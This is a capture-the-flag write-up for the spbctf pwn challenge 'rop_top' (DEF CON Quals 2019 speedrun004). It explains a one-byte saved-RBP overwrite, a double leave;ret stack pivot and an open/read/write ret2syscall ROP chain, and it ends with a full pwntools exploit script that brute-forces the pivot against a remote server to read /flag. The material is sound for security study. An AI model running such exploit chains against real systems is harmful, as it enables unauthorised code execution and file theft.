speedrun4 (rop_top)
speedrun4 (rop_top)
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: brute_force_lsb_pivot, double_leave_ret_stack_pivot, partial_saved_rbp_overwrite, printf_stack_leak, remote_fd_discovery, ret2syscall_open_read_write, ret_sled
Summary
Task: static no-PIE x86-64 pwn (DEF CON Quals 2019 speedrun004) with a 1-byte overflow that only overwrites the LSB of the saved RBP. Solution: partial saved-RBP overwrite drives a double leave;ret stack pivot into a ret-sled + open/read/write ret2syscall ROP chain, brute-forcing the pivot LSB across reconnects and reading /flag from remote fd 5.
speedrun4 (rop_top) — spbctf
Description
nc 109.233.56.90 11511
(Binary
rop_top— DEF CON Quals 2019speedrun004, re-hosted.)
Statically linked, stripped x86-64 ELF. The program asks "how much do you have
to say?", reads a number n, and if 0 < n <= 273 reads n bytes into a
272-byte stack buffer. Because the max read length is exactly buffer_size + 1,
we get a 1-byte overflow that touches only the LSB of the saved RBP — the
return address is out of reach. The goal is to leverage this single-byte
corruption into full control and read /flag.
Analysis
Binary properties
- ELF 64-bit x86-64, statically linked, stripped, GCC (Ubuntu 7.3.0).
checksec: Partial RELRO, No canary, NX enabled, No PIE (base0x400000).- Static non-PIE means file offset == virtual address, so ROP-gadget file offsets map directly to runtime vaddrs — no leak needed to locate gadgets.
Program flow
0x400bd2("driver"): prints "how much do you have to say?", reads a 9-byte number string,atois it into a signedint n.n <= 0→ "That's not much to say."n > 273(0x111) → "That's too much to say!."0 < n <= 273→ calls the read function at0x400b73withnas the length.
0x400b73(framesub $0x130):read(0, rbp-0x110, n)into a 272-byte buffer, thenprintf("Interesting thought \"%s\", I'll take it into consideration.\n", buf).
The vulnerability
- Buffer is 272 bytes but read length can be up to 273 → exactly a 1-byte
overflow that overwrites only the LSB of the saved RBP. The return address
(at
rbp+8, distance 280 from buffer start) is not reachable. - Bonus leak: the trailing
printf("%s")has no null terminator between the buffer and the saved RBP, so it leaks the saved RBP bytes. Sending 272 bytes leaks the full saved RBP; sending 273 leaks bytes 1..5 while byte 0 is attacker-controlled. This confirms the saved-RBP LSB is always 16-aligned.
Solution
1-byte saved-RBP overwrite → double leave;ret stack pivot
Stack layout (derived), where RBP_D is the driver's frame pointer:
- Driver
0x400bd2hasRBP = RBP_D; it calls0x400b73. - Inside
0x400b73:push rbp; mov rbp,rsp→RBP_B = RBP_D - 0x20. Buffer =RBP_B - 0x110 = RBP_D - 0x130. Saved RBP (valueRBP_D) sits at[RBP_B] = buffer + 0x110. Read byte 272 overwrites its LSB. 0x400b73epilogueleave;ret:mov rsp,rbp(RBP_B); pop rbp→rbp= corruptedRBP_D'(LSB = X);retreturns cleanly to0x400bd2(retaddr intact).0x400bd2epilogueleave;ret:mov rsp,rbp→rsp = RBP_D'(corrupted!);pop rbp; ret. Execution now pops the return target from[RBP_D'+8]and keeps consuming the stack upward — i.e. it lands somewhere inside our buffer.
Landing offset math (into our buffer):
offset = (RBP_D' + 8) - buffer_start = X - orig_lsb + 0x138
- Empirically
orig_lsb(the real saved-RBP LSB) is always 16-aligned (0x00,0x10,...,0xf0) and uniformly random per connection (stack ASLR). - We choose
X16-aligned too, sooffset ≡ 8 (mod 16)— always a valid 8-byte boundary. - Fill the buffer with a
retsled leading up to a ROP chain placed at the tail of the buffer. Brute-forceX ∈ {0,16,...,240}across reconnects until the landing hits the sled and slides into the chain. Solved onX = 0x00.
Critical gotcha: remote fd is 5, not 3
- On the remote,
open("/flag")returns file descriptor 5, NOT 3 — fds 3 and 4 are consumed by the socat/inetd wrapper. The first chain usedread(3, ...)and returned all zeros. - Diagnosed with a probe ROP that stored the
open()return value (rax) into.bssviamov [rsi], rax; ret, thenwrite(1, ...)dumped it: the value was5. Reading from fd 5 then produced the flag. - Also observed
-14(EFAULT = 0xfffffffffffffff2) returns when the sled landing was imprecise and the chain started mid-way withrdipointing at unmapped memory.
Gadgets used (vaddr == file offset)
pop rdi; ret = 0x400686
pop rsi; ret = 0x410a93
pop rdx; ret = 0x44c6b6
pop rax; ret = 0x415f04
syscall; ret = 0x474f15 (bytes 0f 05 c3; naive syscall at 0x40132c loops via jmp — unusable)
mov [rdi], rsi; ret = 0x44788b (write "/flag" string into .bss)
mov [rsi], rax; ret = 0x47f521 (diagnostic: dump open() fd)
ret = 0x400416 (ret-sled)
writable .bss = 0x6bb400 (writable LOAD segment spans [0x6b6120, 0x6bca00])
Final ROP chain (open/read/write)
- Write
"/flag\0\0\0"to BSS:pop rdi=BSS; pop rsi="/flag\0\0\0"; mov [rdi],rsi open(BSS, 0):pop rsi=0; pop rax=2; syscall(rdi still = BSS) → fd (= 5 on remote)read(5, BSS+0x200, 0x100):pop rdi=5; pop rsi=BSS+0x200; pop rdx=0x100; pop rax=0; syscallwrite(1, BSS+0x200, 0x100):pop rdi=1; pop rax=1; syscall(rsi, rdx still set)
Interaction protocol
recvuntil "say?"→sendline "273"→recvuntil "yourself?"→ send the 273-byte payload (272-byte body + 1 LSB byteX).- The flag comes back in the
printfecho line followed by the file contents.
Final solve script
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import sys context.arch = 'amd64' context.log_level = 'error' HOST, PORT = '109.233.56.90', 11511 POP_RDI = 0x400686 POP_RSI = 0x410a93 POP_RDX = 0x44c6b6 POP_RAX = 0x415f04 SYSCALL = 0x474f15 MOV_RDI_RSI = 0x44788b # mov [rdi], rsi ; ret RET = 0x400416 BSS = 0x6bb400 FD = 5 # remote open("/flag") returns fd 5 (3,4 used by wrapper) def build_rop(): r = p64(POP_RDI) + p64(BSS) r += p64(POP_RSI) + b'/flag\x00\x00\x00' r += p64(MOV_RDI_RSI) # [BSS] = "/flag" # open(BSS, 0): rdi still = BSS r += p64(POP_RSI) + p64(0) r += p64(POP_RAX) + p64(2) r += p64(SYSCALL) # rax = fd (5 on remote) # read(FD, BSS+0x200, 0x100) r += p64(POP_RDI) + p64(FD) r += p64(POP_RSI) + p64(BSS + 0x200) r += p64(POP_RDX) + p64(0x100) r += p64(POP_RAX) + p64(0) r += p64(SYSCALL) # write(1, BSS+0x200, 0x100): rsi, rdx still set r += p64(POP_RDI) + p64(1) r += p64(POP_RAX) + p64(1) r += p64(SYSCALL) return r ROP = build_rop() def make_payload(X): # 272-byte body: big ret-sled then ROP chain at the tail. body_len = 272 assert len(ROP) <= body_len, len(ROP) sled_bytes = body_len - len(ROP) body = p64(RET) * (sled_bytes // 8) body += b'\x00' * (sled_bytes - len(body)) # pad if not a multiple of 8 body += ROP assert len(body) == body_len return body + bytes([X]) # 273rd byte overwrites LSB of saved RBP def run(X): io = remote(HOST, PORT) io.recvuntil(b'say?') io.sendline(b'273') io.recvuntil(b'yourself?') io.send(make_payload(X)) data = b'' try: data = io.recvall(timeout=1.5) except Exception: pass io.close() return data if __name__ == '__main__': chain_off = 272 - len(ROP) print("[i] rop len=%d, chain starts at buffer offset %d (0x%x)" % (len(ROP), chain_off, chain_off)) # Want landing offset = X - orig_lsb + 0x138 to hit the sled [0, chain_off]. # orig_lsb in {0,16,...,240}; try 16-aligned X, multiple rounds until it lands. Xs = list(range(0, 256, 16)) tries = 0 for rnd in range(30): for X in Xs: tries += 1 data = run(X) if b'spbctf{' in data: print("[+] X=0x%02x tries=%d" % (X, tries)) sys.stdout.write(data.decode('latin1')) sys.exit(0) print("[.] round %d done (%d tries)" % (rnd, tries)) print("[-] no flag")